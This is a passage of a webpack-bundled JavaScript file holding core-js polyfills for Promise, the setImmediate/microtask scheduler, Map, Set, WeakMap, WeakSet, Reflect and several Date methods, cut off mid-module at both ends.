this._h = 0; // <- rejection state, 0 - default, 1 - handled, 2 - unhandled
this._n = false; // <- notify
};
Internal.prototype = __webpack_require__(202)($Promise.prototype, {
// 25.4.5.3 Promise.prototype.then(onFulfilled, onRejected)
then: function then(onFulfilled, onRejected){
var reaction = newPromiseCapability(speciesConstructor(this, $Promise));
reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true;
reaction.fail = typeof onRejected == 'function' && onRejected;
reaction.domain = isNode ? process.domain : undefined;
this._c.push(reaction);
if(this._a)this._a.push(reaction);
if(this._s)notify(this, false);
return reaction.promise;
},
// 25.4.5.1 Promise.prototype.catch(onRejected)
'catch': function(onRejected){
return this.then(undefined, onRejected);
}
});
PromiseCapability = function(){
var promise = new Internal;
this.promise = promise;
this.resolve = ctx($resolve, promise, 1);
this.reject = ctx($reject, promise, 1);
};
}
$export($export.G + $export.W + $export.F * !USE_NATIVE, {Promise: $Promise});
__webpack_require__(22)($Promise, PROMISE);
__webpack_require__(186)(PROMISE);
Wrapper = __webpack_require__(7)[PROMISE];
// statics
$export($export.S + $export.F * !USE_NATIVE, PROMISE, {
// 25.4.4.5 Promise.reject(r)
reject: function reject(r){
var capability = newPromiseCapability(this)
, $$reject = capability.reject;
$$reject(r);
return capability.promise;
}
});
$export($export.S + $export.F * (LIBRARY || !USE_NATIVE), PROMISE, {
// 25.4.4.6 Promise.resolve(x)
resolve: function resolve(x){
// instanceof instead of internal slot check because we should fix it without replacement native Promise core
if(x instanceof $Promise && sameConstructor(x.constructor, this))return x;
var capability = newPromiseCapability(this)
, $$resolve = capability.resolve;
$$resolve(x);
return capability.promise;
}
});
$export($export.S + $export.F * !(USE_NATIVE && __webpack_require__(157)(function(iter){
$Promise.all(iter)['catch'](empty);
})), PROMISE, {
// 25.4.4.1 Promise.all(iterable)
all: function all(iterable){
var C = this
, capability = newPromiseCapability(C)
, resolve = capability.resolve
, reject = capability.reject;
var abrupt = perform(function(){
var values = []
, index = 0
, remaining = 1;
forOf(iterable, false, function(promise){
var $index = index++
, alreadyCalled = false;
values.push(undefined);
remaining++;
C.resolve(promise).then(function(value){
if(alreadyCalled)return;
alreadyCalled = true;
values[$index] = value;
--remaining || resolve(values);
}, reject);
});
--remaining || resolve(values);
});
if(abrupt)reject(abrupt.error);
return capability.promise;
},
// 25.4.4.4 Promise.race(iterable)
race: function race(iterable){
var C = this
, capability = newPromiseCapability(C)
, reject = capability.reject;
var abrupt = perform(function(){
forOf(iterable, false, function(promise){
C.resolve(promise).then(capability.resolve, reject);
});
});
if(abrupt)reject(abrupt.error);
return capability.promise;
}
});
/***/ },
/* 197 */
/***/ function(module, exports) {
module.exports = function(it, Constructor, name, forbiddenField){
if(!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)){
throw TypeError(name + ': incorrect invocation!');
} return it;
};
/***/ },
/* 198 */
/***/ function(module, exports, __webpack_require__) {
var ctx = __webpack_require__(18)
, call = __webpack_require__(153)
, isArrayIter = __webpack_require__(154)
, anObject = __webpack_require__(10)
, toLength = __webpack_require__(35)
, getIterFn = __webpack_require__(156)
, BREAK = {}
, RETURN = {};
var exports = module.exports = function(iterable, entries, fn, that, ITERATOR){
var iterFn = ITERATOR ? function(){ return iterable; } : getIterFn(iterable)
, f = ctx(fn, that, entries ? 2 : 1)
, index = 0
, length, step, iterator, result;
if(typeof iterFn != 'function')throw TypeError(iterable + ' is not iterable!');
// fast case for arrays with default iterator
if(isArrayIter(iterFn))for(length = toLength(iterable.length); length > index; index++){
result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]);
if(result === BREAK || result === RETURN)return result;
} else for(iterator = iterFn.call(iterable); !(step = iterator.next()).done; ){
result = call(iterator, f, step.value, entries);
if(result === BREAK || result === RETURN)return result;
}
};
exports.BREAK = BREAK;
exports.RETURN = RETURN;
/***/ },
/* 199 */
/***/ function(module, exports, __webpack_require__) {
// 7.3.20 SpeciesConstructor(O, defaultConstructor)
var anObject = __webpack_require__(10)
, aFunction = __webpack_require__(19)
, SPECIES = __webpack_require__(23)('species');
module.exports = function(O, D){
var C = anObject(O).constructor, S;
return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? D : aFunction(S);
};
/***/ },
/* 200 */
/***/ function(module, exports, __webpack_require__) {
var ctx = __webpack_require__(18)
, invoke = __webpack_require__(76)
, html = __webpack_require__(46)
, cel = __webpack_require__(13)
, global = __webpack_require__(2)
, process = global.process
, setTask = global.setImmediate
, clearTask = global.clearImmediate
, MessageChannel = global.MessageChannel
, counter = 0
, queue = {}
, ONREADYSTATECHANGE = 'onreadystatechange'
, defer, channel, port;
var run = function(){
var id = +this;
if(queue.hasOwnProperty(id)){
var fn = queue[id];
delete queue[id];
fn();
}
};
var listener = function(event){
run.call(event.data);
};
// Node.js 0.9+ & IE10+ has setImmediate, otherwise:
if(!setTask || !clearTask){
setTask = function setImmediate(fn){
var args = [], i = 1;
while(arguments.length > i)args.push(arguments[i++]);
queue[++counter] = function(){
invoke(typeof fn == 'function' ? fn : Function(fn), args);
};
defer(counter);
return counter;
};
clearTask = function clearImmediate(id){
delete queue[id];
};
// Node.js 0.8-
if(__webpack_require__(32)(process) == 'process'){
defer = function(id){
process.nextTick(ctx(run, id, 1));
};
// Browsers with MessageChannel, includes WebWorkers
} else if(MessageChannel){
channel = new MessageChannel;
port = channel.port2;
channel.port1.onmessage = listener;
defer = ctx(port.postMessage, port, 1);
// Browsers with postMessage, skip WebWorkers
// IE8 has postMessage, but it's sync & typeof its postMessage is 'object'
} else if(global.addEventListener && typeof postMessage == 'function' && !global.importScripts){
defer = function(id){
global.postMessage(id + '', '*');
};
global.addEventListener('message', listener, false);
// IE8-
} else if(ONREADYSTATECHANGE in cel('script')){
defer = function(id){
html.appendChild(cel('script'))[ONREADYSTATECHANGE] = function(){
html.removeChild(this);
run.call(id);
};
};
// Rest old browsers
} else {
defer = function(id){
setTimeout(ctx(run, id, 1), 0);
};
}
}
module.exports = {
set: setTask,
clear: clearTask
};
/***/ },
/* 201 */
/***/ function(module, exports, __webpack_require__) {
var global = __webpack_require__(2)
, macrotask = __webpack_require__(200).set
, Observer = global.MutationObserver || global.WebKitMutationObserver
, process = global.process
, Promise = global.Promise
, isNode = __webpack_require__(32)(process) == 'process';
module.exports = function(){
var head, last, notify;
var flush = function(){
var parent, fn;
if(isNode && (parent = process.domain))parent.exit();
while(head){
fn = head.fn;
head = head.next;
try {
fn();
} catch(e){
if(head)notify();
else last = undefined;
throw e;
}
} last = undefined;
if(parent)parent.enter();
};
// Node.js
if(isNode){
notify = function(){
process.nextTick(flush);
};
// browsers with MutationObserver
} else if(Observer){
var toggle = true
, node = document.createTextNode('');
new Observer(flush).observe(node, {characterData: true}); // eslint-disable-line no-new
notify = function(){
node.data = toggle = !toggle;
};
// environments with maybe non-completely correct, but existent Promise
} else if(Promise && Promise.resolve){
var promise = Promise.resolve();
notify = function(){
promise.then(flush);
};
// for other environments - macrotask based on:
// - setImmediate
// - MessageChannel
// - window.postMessag
// - onreadystatechange
// - setTimeout
} else {
notify = function(){
// strange IE + webpack dev server bug - use .call(global)
macrotask.call(global, flush);
};
}
return function(fn){
var task = {fn: fn, next: undefined};
if(last)last.next = task;
if(!head){
head = task;
notify();
} last = task;
};
};
/***/ },
/* 202 */
/***/ function(module, exports, __webpack_require__) {
var redefine = __webpack_require__(16);
module.exports = function(target, src, safe){
for(var key in src)redefine(target, key, src[key], safe);
return target;
};
/***/ },
/* 203 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var strong = __webpack_require__(204);
// 23.1 Map Objects
module.exports = __webpack_require__(205)('Map', function(get){
return function Map(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.1.3.6 Map.prototype.get(key)
get: function get(key){
var entry = strong.getEntry(this, key);
return entry && entry.v;
},
// 23.1.3.9 Map.prototype.set(key, value)
set: function set(key, value){
return strong.def(this, key === 0 ? 0 : key, value);
}
}, strong, true);
/***/ },
/* 204 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var dP = __webpack_require__(9).f
, create = __webpack_require__(44)
, redefineAll = __webpack_require__(202)
, ctx = __webpack_require__(18)
, anInstance = __webpack_require__(197)
, defined = __webpack_require__(33)
, forOf = __webpack_require__(198)
, $iterDefine = __webpack_require__(134)
, step = __webpack_require__(184)
, setSpecies = __webpack_require__(186)
, DESCRIPTORS = __webpack_require__(4)
, fastKey = __webpack_require__(20).fastKey
, SIZE = DESCRIPTORS ? '_s' : 'size';
var getEntry = function(that, key){
// fast case
var index = fastKey(key), entry;
if(index !== 'F')return that._i[index];
// frozen object case
for(entry = that._f; entry; entry = entry.n){
if(entry.k == key)return entry;
}
};
module.exports = {
getConstructor: function(wrapper, NAME, IS_MAP, ADDER){
var C = wrapper(function(that, iterable){
anInstance(that, C, NAME, '_i');
that._i = create(null); // index
that._f = undefined; // first entry
that._l = undefined; // last entry
that[SIZE] = 0; // size
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
});
redefineAll(C.prototype, {
// 23.1.3.1 Map.prototype.clear()
// 23.2.3.2 Set.prototype.clear()
clear: function clear(){
for(var that = this, data = that._i, entry = that._f; entry; entry = entry.n){
entry.r = true;
if(entry.p)entry.p = entry.p.n = undefined;
delete data[entry.i];
}
that._f = that._l = undefined;
that[SIZE] = 0;
},
// 23.1.3.3 Map.prototype.delete(key)
// 23.2.3.4 Set.prototype.delete(value)
'delete': function(key){
var that = this
, entry = getEntry(that, key);
if(entry){
var next = entry.n
, prev = entry.p;
delete that._i[entry.i];
entry.r = true;
if(prev)prev.n = next;
if(next)next.p = prev;
if(that._f == entry)that._f = next;
if(that._l == entry)that._l = prev;
that[SIZE]--;
} return !!entry;
},
// 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined)
// 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined)
forEach: function forEach(callbackfn /*, that = undefined */){
anInstance(this, C, 'forEach');
var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3)
, entry;
while(entry = entry ? entry.n : this._f){
f(entry.v, entry.k, this);
// revert to the last existing entry
while(entry && entry.r)entry = entry.p;
}
},
// 23.1.3.7 Map.prototype.has(key)
// 23.2.3.7 Set.prototype.has(value)
has: function has(key){
return !!getEntry(this, key);
}
});
if(DESCRIPTORS)dP(C.prototype, 'size', {
get: function(){
return defined(this[SIZE]);
}
});
return C;
},
def: function(that, key, value){
var entry = getEntry(that, key)
, prev, index;
// change existing entry
if(entry){
entry.v = value;
// create new entry
} else {
that._l = entry = {
i: index = fastKey(key, true), // <- index
k: key, // <- key
v: value, // <- value
p: prev = that._l, // <- previous entry
n: undefined, // <- next entry
r: false // <- removed
};
if(!that._f)that._f = entry;
if(prev)prev.n = entry;
that[SIZE]++;
// add to index
if(index !== 'F')that._i[index] = entry;
} return that;
},
getEntry: getEntry,
setStrong: function(C, NAME, IS_MAP){
// add .keys, .values, .entries, [@@iterator]
// 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11
$iterDefine(C, NAME, function(iterated, kind){
this._t = iterated; // target
this._k = kind; // kind
this._l = undefined; // previous
}, function(){
var that = this
, kind = that._k
, entry = that._l;
// revert to the last existing entry
while(entry && entry.r)entry = entry.p;
// get next entry
if(!that._t || !(that._l = entry = entry ? entry.n : that._t._f)){
// or finish the iteration
that._t = undefined;
return step(1);
}
// return step by kind
if(kind == 'keys' )return step(0, entry.k);
if(kind == 'values')return step(0, entry.v);
return step(0, [entry.k, entry.v]);
}, IS_MAP ? 'entries' : 'values' , !IS_MAP, true);
// add [@@species], 23.1.2.2, 23.2.2.2
setSpecies(NAME);
}
};
/***/ },
/* 205 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var global = __webpack_require__(2)
, $export = __webpack_require__(6)
, redefine = __webpack_require__(16)
, redefineAll = __webpack_require__(202)
, meta = __webpack_require__(20)
, forOf = __webpack_require__(198)
, anInstance = __webpack_require__(197)
, isObject = __webpack_require__(11)
, fails = __webpack_require__(5)
, $iterDetect = __webpack_require__(157)
, setToStringTag = __webpack_require__(22)
, inheritIfRequired = __webpack_require__(80);
module.exports = function(NAME, wrapper, methods, common, IS_MAP, IS_WEAK){
var Base = global[NAME]
, C = Base
, ADDER = IS_MAP ? 'set' : 'add'
, proto = C && C.prototype
, O = {};
var fixMethod = function(KEY){
var fn = proto[KEY];
redefine(proto, KEY,
KEY == 'delete' ? function(a){
return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'has' ? function has(a){
return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'get' ? function get(a){
return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a);
} : KEY == 'add' ? function add(a){ fn.call(this, a === 0 ? 0 : a); return this; }
: function set(a, b){ fn.call(this, a === 0 ? 0 : a, b); return this; }
);
};
if(typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function(){
new C().entries().next();
}))){
// create collection constructor
C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER);
redefineAll(C.prototype, methods);
meta.NEED = true;
} else {
var instance = new C
// early implementations not supports chaining
, HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance
// V8 ~ Chromium 40- weak-collections throws on primitives, but should return false
, THROWS_ON_PRIMITIVES = fails(function(){ instance.has(1); })
// most early implementations doesn't supports iterables, most modern - not close it correctly
, ACCEPT_ITERABLES = $iterDetect(function(iter){ new C(iter); }) // eslint-disable-line no-new
// for early implementations -0 and +0 not the same
, BUGGY_ZERO = !IS_WEAK && fails(function(){
// V8 ~ Chromium 42- fails only with 5+ elements
var $instance = new C()
, index = 5;
while(index--)$instance[ADDER](index, index);
return !$instance.has(-0);
});
if(!ACCEPT_ITERABLES){
C = wrapper(function(target, iterable){
anInstance(target, C, NAME);
var that = inheritIfRequired(new Base, target, C);
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
return that;
});
C.prototype = proto;
proto.constructor = C;
}
if(THROWS_ON_PRIMITIVES || BUGGY_ZERO){
fixMethod('delete');
fixMethod('has');
IS_MAP && fixMethod('get');
}
if(BUGGY_ZERO || HASNT_CHAINING)fixMethod(ADDER);
// weak collections should not contains .clear method
if(IS_WEAK && proto.clear)delete proto.clear;
}
setToStringTag(C, NAME);
O[NAME] = C;
$export($export.G + $export.W + $export.F * (C != Base), O);
if(!IS_WEAK)common.setStrong(C, NAME, IS_MAP);
return C;
};
/***/ },
/* 206 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var strong = __webpack_require__(204);
// 23.2 Set Objects
module.exports = __webpack_require__(205)('Set', function(get){
return function Set(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.2.3.1 Set.prototype.add(value)
add: function add(value){
return strong.def(this, value = value === 0 ? 0 : value, value);
}
}, strong);
/***/ },
/* 207 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var each = __webpack_require__(164)(0)
, redefine = __webpack_require__(16)
, meta = __webpack_require__(20)
, assign = __webpack_require__(67)
, weak = __webpack_require__(208)
, isObject = __webpack_require__(11)
, getWeak = meta.getWeak
, isExtensible = Object.isExtensible
, uncaughtFrozenStore = weak.ufstore
, tmp = {}
, InternalMap;
var wrapper = function(get){
return function WeakMap(){
return get(this, arguments.length > 0 ? arguments[0] : undefined);
};
};
var methods = {
// 23.3.3.3 WeakMap.prototype.get(key)
get: function get(key){
if(isObject(key)){
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this).get(key);
return data ? data[this._i] : undefined;
}
},
// 23.3.3.5 WeakMap.prototype.set(key, value)
set: function set(key, value){
return weak.def(this, key, value);
}
};
// 23.3 WeakMap Objects
var $WeakMap = module.exports = __webpack_require__(205)('WeakMap', wrapper, methods, weak, true, true);
// IE11 WeakMap frozen keys fix
if(new $WeakMap().set((Object.freeze || Object)(tmp), 7).get(tmp) != 7){
InternalMap = weak.getConstructor(wrapper);
assign(InternalMap.prototype, methods);
meta.NEED = true;
each(['delete', 'has', 'get', 'set'], function(key){
var proto = $WeakMap.prototype
, method = proto[key];
redefine(proto, key, function(a, b){
// store frozen objects on internal weakmap shim
if(isObject(a) && !isExtensible(a)){
if(!this._f)this._f = new InternalMap;
var result = this._f[key](a, b);
return key == 'set' ? this : result;
// store all the rest on native weakmap
} return method.call(this, a, b);
});
});
}
/***/ },
/* 208 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var redefineAll = __webpack_require__(202)
, getWeak = __webpack_require__(20).getWeak
, anObject = __webpack_require__(10)
, isObject = __webpack_require__(11)
, anInstance = __webpack_require__(197)
, forOf = __webpack_require__(198)
, createArrayMethod = __webpack_require__(164)
, $has = __webpack_require__(3)
, arrayFind = createArrayMethod(5)
, arrayFindIndex = createArrayMethod(6)
, id = 0;
// fallback for uncaught frozen keys
var uncaughtFrozenStore = function(that){
return that._l || (that._l = new UncaughtFrozenStore);
};
var UncaughtFrozenStore = function(){
this.a = [];
};
var findUncaughtFrozen = function(store, key){
return arrayFind(store.a, function(it){
return it[0] === key;
});
};
UncaughtFrozenStore.prototype = {
get: function(key){
var entry = findUncaughtFrozen(this, key);
if(entry)return entry[1];
},
has: function(key){
return !!findUncaughtFrozen(this, key);
},
set: function(key, value){
var entry = findUncaughtFrozen(this, key);
if(entry)entry[1] = value;
else this.a.push([key, value]);
},
'delete': function(key){
var index = arrayFindIndex(this.a, function(it){
return it[0] === key;
});
if(~index)this.a.splice(index, 1);
return !!~index;
}
};
module.exports = {
getConstructor: function(wrapper, NAME, IS_MAP, ADDER){
var C = wrapper(function(that, iterable){
anInstance(that, C, NAME, '_i');
that._i = id++; // collection id
that._l = undefined; // leak store for uncaught frozen objects
if(iterable != undefined)forOf(iterable, IS_MAP, that[ADDER], that);
});
redefineAll(C.prototype, {
// 23.3.3.2 WeakMap.prototype.delete(key)
// 23.4.3.3 WeakSet.prototype.delete(value)
'delete': function(key){
if(!isObject(key))return false;
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this)['delete'](key);
return data && $has(data, this._i) && delete data[this._i];
},
// 23.3.3.4 WeakMap.prototype.has(key)
// 23.4.3.4 WeakSet.prototype.has(value)
has: function has(key){
if(!isObject(key))return false;
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this).has(key);
return data && $has(data, this._i);
}
});
return C;
},
def: function(that, key, value){
var data = getWeak(anObject(key), true);
if(data === true)uncaughtFrozenStore(that).set(key, value);
else data[that._i] = value;
return that;
},
ufstore: uncaughtFrozenStore
};
/***/ },
/* 209 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var weak = __webpack_require__(208);
// 23.4 WeakSet Objects
__webpack_require__(205)('WeakSet', function(get){
return function WeakSet(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.4.3.1 WeakSet.prototype.add(value)
add: function add(value){
return weak.def(this, value, true);
}
}, weak, false, true);
/***/ },
/* 210 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.1 Reflect.apply(target, thisArgument, argumentsList)
var $export = __webpack_require__(6)
, aFunction = __webpack_require__(19)
, anObject = __webpack_require__(10)
, rApply = (__webpack_require__(2).Reflect || {}).apply
, fApply = Function.apply;
// MS Edge argumentsList argument is optional
$export($export.S + $export.F * !__webpack_require__(5)(function(){
rApply(function(){});
}), 'Reflect', {
apply: function apply(target, thisArgument, argumentsList){
var T = aFunction(target)
, L = anObject(argumentsList);
return rApply ? rApply(T, thisArgument, L) : fApply.call(T, thisArgument, L);
}
});
/***/ },
/* 211 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.2 Reflect.construct(target, argumentsList [, newTarget])
var $export = __webpack_require__(6)
, create = __webpack_require__(44)
, aFunction = __webpack_require__(19)
, anObject = __webpack_require__(10)
, isObject = __webpack_require__(11)
, fails = __webpack_require__(5)
, bind = __webpack_require__(75)
, rConstruct = (__webpack_require__(2).Reflect || {}).construct;
// MS Edge supports only 2 arguments and argumentsList argument is optional
// FF Nightly sets third argument as `new.target`, but does not create `this` from it
var NEW_TARGET_BUG = fails(function(){
function F(){}
return !(rConstruct(function(){}, [], F) instanceof F);
});
var ARGS_BUG = !fails(function(){
rConstruct(function(){});
});
$export($export.S + $export.F * (NEW_TARGET_BUG || ARGS_BUG), 'Reflect', {
construct: function construct(Target, args /*, newTarget*/){
aFunction(Target);
anObject(args);
var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]);
if(ARGS_BUG && !NEW_TARGET_BUG)return rConstruct(Target, args, newTarget);
if(Target == newTarget){
// w/o altered newTarget, optimization for 0-4 arguments
switch(args.length){
case 0: return new Target;
case 1: return new Target(args[0]);
case 2: return new Target(args[0], args[1]);
case 3: return new Target(args[0], args[1], args[2]);
case 4: return new Target(args[0], args[1], args[2], args[3]);
}
// w/o altered newTarget, lot of arguments case
var $args = [null];
$args.push.apply($args, args);
return new (bind.apply(Target, $args));
}
// with altered newTarget, not support built-in constructors
var proto = newTarget.prototype
, instance = create(isObject(proto) ? proto : Object.prototype)
, result = Function.apply.call(Target, instance, args);
return isObject(result) ? result : instance;
}
});
/***/ },
/* 212 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.3 Reflect.defineProperty(target, propertyKey, attributes)
var dP = __webpack_require__(9)
, $export = __webpack_require__(6)
, anObject = __webpack_require__(10)
, toPrimitive = __webpack_require__(14);
// MS Edge has broken Reflect.defineProperty - throwing instead of returning false
$export($export.S + $export.F * __webpack_require__(5)(function(){
Reflect.defineProperty(dP.f({}, 1, {value: 1}), 1, {value: 2});
}), 'Reflect', {
defineProperty: function defineProperty(target, propertyKey, attributes){
anObject(target);
propertyKey = toPrimitive(propertyKey, true);
anObject(attributes);
try {
dP.f(target, propertyKey, attributes);
return true;
} catch(e){
return false;
}
}
});
/***/ },
/* 213 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.4 Reflect.deleteProperty(target, propertyKey)
var $export = __webpack_require__(6)
, gOPD = __webpack_require__(49).f
, anObject = __webpack_require__(10);
$export($export.S, 'Reflect', {
deleteProperty: function deleteProperty(target, propertyKey){
var desc = gOPD(anObject(target), propertyKey);
return desc && !desc.configurable ? false : delete target[propertyKey];
}
});
/***/ },
/* 214 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 26.1.5 Reflect.enumerate(target)
var $export = __webpack_require__(6)
, anObject = __webpack_require__(10);
var Enumerate = function(iterated){
this._t = anObject(iterated); // target
this._i = 0; // next index
var keys = this._k = [] // keys
, key;
for(key in iterated)keys.push(key);
};
__webpack_require__(136)(Enumerate, 'Object', function(){
var that = this
, keys = that._k
, key;
do {
if(that._i >= keys.length)return {value: undefined, done: true};
} while(!((key = keys[that._i++]) in that._t));
return {value: key, done: false};
});
$export($export.S, 'Reflect', {
enumerate: function enumerate(target){
return new Enumerate(target);
}
});
/***/ },
/* 215 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.6 Reflect.get(target, propertyKey [, receiver])
var gOPD = __webpack_require__(49)
, getPrototypeOf = __webpack_require__(57)
, has = __webpack_require__(3)
, $export = __webpack_require__(6)
, isObject = __webpack_require__(11)
, anObject = __webpack_require__(10);
function get(target, propertyKey/*, receiver*/){
var receiver = arguments.length < 3 ? target : arguments[2]
, desc, proto;
if(anObject(target) === receiver)return target[propertyKey];
if(desc = gOPD.f(target, propertyKey))return has(desc, 'value')
? desc.value
: desc.get !== undefined
? desc.get.call(receiver)
: undefined;
if(isObject(proto = getPrototypeOf(target)))return get(proto, propertyKey, receiver);
}
$export($export.S, 'Reflect', {get: get});
/***/ },
/* 216 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.7 Reflect.getOwnPropertyDescriptor(target, propertyKey)
var gOPD = __webpack_require__(49)
, $export = __webpack_require__(6)
, anObject = __webpack_require__(10);
$export($export.S, 'Reflect', {
getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey){
return gOPD.f(anObject(target), propertyKey);
}
});
/***/ },
/* 217 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.8 Reflect.getPrototypeOf(target)
var $export = __webpack_require__(6)
, getProto = __webpack_require__(57)
, anObject = __webpack_require__(10);
$export($export.S, 'Reflect', {
getPrototypeOf: function getPrototypeOf(target){
return getProto(anObject(target));
}
});
/***/ },
/* 218 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.9 Reflect.has(target, propertyKey)
var $export = __webpack_require__(6);
$export($export.S, 'Reflect', {
has: function has(target, propertyKey){
return propertyKey in target;
}
});
/***/ },
/* 219 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.10 Reflect.isExtensible(target)
var $export = __webpack_require__(6)
, anObject = __webpack_require__(10)
, $isExtensible = Object.isExtensible;
$export($export.S, 'Reflect', {
isExtensible: function isExtensible(target){
anObject(target);
return $isExtensible ? $isExtensible(target) : true;
}
});
/***/ },
/* 220 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.11 Reflect.ownKeys(target)
var $export = __webpack_require__(6);
$export($export.S, 'Reflect', {ownKeys: __webpack_require__(221)});
/***/ },
/* 221 */
/***/ function(module, exports, __webpack_require__) {
// all object keys, includes non-enumerable and symbols
var gOPN = __webpack_require__(48)
, gOPS = __webpack_require__(41)
, anObject = __webpack_require__(10)
, Reflect = __webpack_require__(2).Reflect;
module.exports = Reflect && Reflect.ownKeys || function ownKeys(it){
var keys = gOPN.f(anObject(it))
, getSymbols = gOPS.f;
return getSymbols ? keys.concat(getSymbols(it)) : keys;
};
/***/ },
/* 222 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.12 Reflect.preventExtensions(target)
var $export = __webpack_require__(6)
, anObject = __webpack_require__(10)
, $preventExtensions = Object.preventExtensions;
$export($export.S, 'Reflect', {
preventExtensions: function preventExtensions(target){
anObject(target);
try {
if($preventExtensions)$preventExtensions(target);
return true;
} catch(e){
return false;
}
}
});
/***/ },
/* 223 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.13 Reflect.set(target, propertyKey, V [, receiver])
var dP = __webpack_require__(9)
, gOPD = __webpack_require__(49)
, getPrototypeOf = __webpack_require__(57)
, has = __webpack_require__(3)
, $export = __webpack_require__(6)
, createDesc = __webpack_require__(15)
, anObject = __webpack_require__(10)
, isObject = __webpack_require__(11);
function set(target, propertyKey, V/*, receiver*/){
var receiver = arguments.length < 4 ? target : arguments[3]
, ownDesc = gOPD.f(anObject(target), propertyKey)
, existingDescriptor, proto;
if(!ownDesc){
if(isObject(proto = getPrototypeOf(target))){
return set(proto, propertyKey, V, receiver);
}
ownDesc = createDesc(0);
}
if(has(ownDesc, 'value')){
if(ownDesc.writable === false || !isObject(receiver))return false;
existingDescriptor = gOPD.f(receiver, propertyKey) || createDesc(0);
existingDescriptor.value = V;
dP.f(receiver, propertyKey, existingDescriptor);
return true;
}
return ownDesc.set === undefined ? false : (ownDesc.set.call(receiver, V), true);
}
$export($export.S, 'Reflect', {set: set});
/***/ },
/* 224 */
/***/ function(module, exports, __webpack_require__) {
// 26.1.14 Reflect.setPrototypeOf(target, proto)
var $export = __webpack_require__(6)
, setProto = __webpack_require__(71);
if(setProto)$export($export.S, 'Reflect', {
setPrototypeOf: function setPrototypeOf(target, proto){
setProto.check(target, proto);
try {
setProto.set(target, proto);
return true;
} catch(e){
return false;
}
}
});
/***/ },
/* 225 */
/***/ function(module, exports, __webpack_require__) {
// 20.3.3.1 / 15.9.4.4 Date.now()
var $export = __webpack_require__(6);
$export($export.S, 'Date', {now: function(){ return new Date().getTime(); }});
/***/ },
/* 226 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, toObject = __webpack_require__(56)
, toPrimitive = __webpack_require__(14);
$export($export.P + $export.F * __webpack_require__(5)(function(){
return new Date(NaN).toJSON() !== null || Date.prototype.toJSON.call({toISOString: function(){ return 1; }}) !== 1;
}), 'Date', {
toJSON: function toJSON(key){
var O = toObject(this)
, pv = toPrimitive(O);
return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString();
}
});
/***/ },
/* 227 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString()
var $export = __webpack_require__(6)
, fails = __webpack_require__(5)
, getTime = Date.prototype.getTime;
var lz = function(num){
return num > 9 ? num : '0' + num;
};
// PhantomJS / old WebKit has a broken implementations
$export($export.P + $export.F * (fails(function(){
return new Date(-5e13 - 1).toISOString() != '0385-07-25T07:06:39.999Z';
}) || !fails(function(){
new Date(NaN).toISOString();
})), 'Date', {
toISOString: function toISOString(){
if(!isFinite(getTime.call(this)))throw RangeError('Invalid time value');
var d = this
, y = d.getUTCFullYear()
, m = d.getUTCMilliseconds()
, s = y < 0 ? '-' : y > 9999 ? '+' : '';
return s + ('00000' + Math.abs(y)).slice(s ? -6 : -4) +
'-' + lz(d.getUTCMonth() + 1) + '-' + lz(d.getUTCDate()) +
'T' + lz(d.getUTCHours()) + ':' + lz(d.getUTCMinutes()) +
':' + lz(d.getUTCSeconds()) + '.' + (m > 99 ? m : '0' + lz(m)) + 'Z';
}
});
/***/ },
/* 228 */
/***/ function(module, exports, __webpack_require__) {
var DateProto = Date.prototype
, INVALID_DATE = 'Invalid Date'
, TO_STRING = 'toString'
, $toString = DateProto[TO_STRING]
, getTime = DateProto.getTime;
if(new Date(NaN) + '' != INVALID_DATE){
__webpack_require__(16)(DateProto, TO_STRING, function toString(){
var value = getTime.call(this);
return value === value ? $toString.call(this) : INVALID_DATE;
});
}
/***/ },
/* 229 */
/***/ function(module, exports, __webpack_require__) {
var TO_PRIMITIVE = __webpack_require__(23)('toPrimitive')
